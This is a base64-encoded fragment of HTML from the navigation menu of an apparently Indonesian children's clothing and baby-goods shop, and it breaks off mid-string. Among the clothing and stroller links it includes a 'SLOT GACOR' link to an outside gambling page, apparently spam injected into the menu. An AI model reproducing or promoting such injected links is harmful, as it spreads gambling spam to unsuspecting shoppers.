ICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3N3aW13ZWFyLmh0bWwiPnBha2FpYW4gcmVuYW5nPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDMtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiA0LS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPmFuYWsgbGFraS1sYWtpICgxOGJsbi04dGhuKTwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JveXMtY2xvdGhpbmcvdG9wcy5odG1sIj5hdGFzYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYm95cy1jbG90aGluZy9ib3R0b21zLmh0bWwiPmJhd2FoYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYm95cy1jbG90aGluZy9jbG90aGluZy1zZXRzLmh0bWwvIj5zZXRlbGFuPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JveXMtY2xvdGhpbmcvamFja2V0LW91dGVyd2Vhci5odG1sIj5qYWtldDwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9ib3lzLWNsb3RoaW5nL3VuZGVyd2Vhci5odG1sIj5wYWthaWFuIGRhbGFtPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9tYXRlcm5pdHkvZmFzaGlvbi5odG1sIj5wYWthaWFuIGlidSBoYW1pbDwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiA0LS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gNS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5hbmFrIHBlcmVtcHVhbiAoMThibG4tOHRobik8L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InRlX2F6IiBzdHlsZT0icGFkZGluZzowOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ia3NfY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9naXJscy1jbG90aGluZy90b3BzLmh0bWwiPmF0YXNhbjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9naXJscy1jbG90aGluZy9ib3R0b21zLmh0bWwiPmJhd2FoYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZ2lybHMtY2xvdGhpbmcvZHJlc3Nlcy1waW5hZm9yZXMuaHRtbC8iPmdhdW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZ2lybHMtY2xvdGhpbmcvY2xvdGhpbmctc2V0cy1vdXRmaXRzLmh0bWwvIj5zZXRlbGFuPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2dpcmxzLWNsb3RoaW5nL2phY2tldHMtb3V0ZXJ3ZWFyLmh0bWwvIj5qYWtldDwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9naXJscy1jbG90aGluZy91bmRlcndlYXIuaHRtbCI%2BcGFrYWlhbiBkYWxhbTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiA1ICAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiA2LS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9jbG90aGluZy9zbGVlcHdlYXIuaHRtbCI%2BcGFrYWlhbiB0aWR1cjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiA2ICAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InZlc2l0ZW0tODg0NTgxNzQyMzA4MDYxMTY0NTUwMzczNiIgY2xhc3M9IiBuYXYtaXRlbSBsZXZlbDAgc3VibWVudS1sZWZ0IHN1YmhvdmVyICBkcm9wZG93biBsZXZlbC10b3AgIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIiBzdHlsZT0iZm9udC1zaXplOjEycHg7d2hpdGUtc3BhY2U6IG5vd3JhcDsiIGNsYXNzPSIgbmF2LWFuY2hvciI%2BPHNwYW4%2BU0xPVCBHQUNPUjwvc3Bhbj48c3BhbiBjbGFzcz0iY2FyZXQiPjwvc3Bhbj48c3BhbiBjbGFzcz0ib3BlbmVyIj48L3NwYW4%2BPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdWJtZW51IGFuaW1hdGVkICBkcm9wZG93bi1tZW51IiBzdHlsZT0id2lkdGg6MTAwJTthbmltYXRpb24tZHVyYXRpb246IDAuNXM7LXdlYmtpdC1hbmltYXRpb24tZHVyYXRpb246IDAuNXM7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudC13cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVnYW1lbnUtY29udGVudCIgc3R5bGU9IndpZHRoOjEwMCUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtZHJvcGRvd24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDItLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RyYXZlbC1lc3NlbnRpYWxzL3N0cm9sbGVycy5odG1sIj5rZXJldGEgZG9yb25nPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RyYXZlbC1lc3NlbnRpYWxzL3N0cm9sbGVycy9mcm9tLWJpcnRoLmh0bWwiPmJheWkgYmFydSBsYWhpcjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii90cmF2ZWwtZXNzZW50aWFscy9zdHJvbGxlcnMvZnJvbS02bS5odG1sIj51c2lhIDYgYnVsYW4rPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RyYXZlbC1lc3NlbnRpYWxzL2tpZHMtbHVnZ2FnZXMuaHRtbCI%2Ba29wZXIgYW5hazwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiAyLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvdHJhdmVsLWVzc2VudGlhbHMvY2FyLXNlYXQuaHRtbCI%2Ba3Vyc2kgbW9iaWw8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJ0ZV9heiIgc3R5bGU9InBhZGRpbmc6MDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImtzX2NvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvdHJhdmVsLWVzc2VudGlhbHMvY2FyLXNlYXQvMC0xMy1rZy5odG1sIj4wLTEzIEtnPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL3RyYXZlbC1lc3NlbnRpYWxzL2Nhci1zZWF0LzAtMzYta2cuaHRtbCI%2BMC0zNiBLZzwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDMtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAxLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii90cmF2ZWwtZXNzZW50aWFscy9jYXJyaWVycy5odG1sIj5nZW5kb25nYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvdHJhdmVsLWVzc2VudGlhbHMvdHJhdmVsLWNvdHMuaHRtbCI%2BdHJhdmVsIGNvdHM8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvdHJhdmVsLWVzc2VudGlhbHMvZGlhcGVyLWJhZ3MuaHRtbCI%2BZGlhcGVyIGJhZ3M8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvdHJhdmVsLWVzc2VudGlhbHMvYWNjZXNzb3JpZXMuaHRtbCI%2BYWtzZXNvcmlzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgI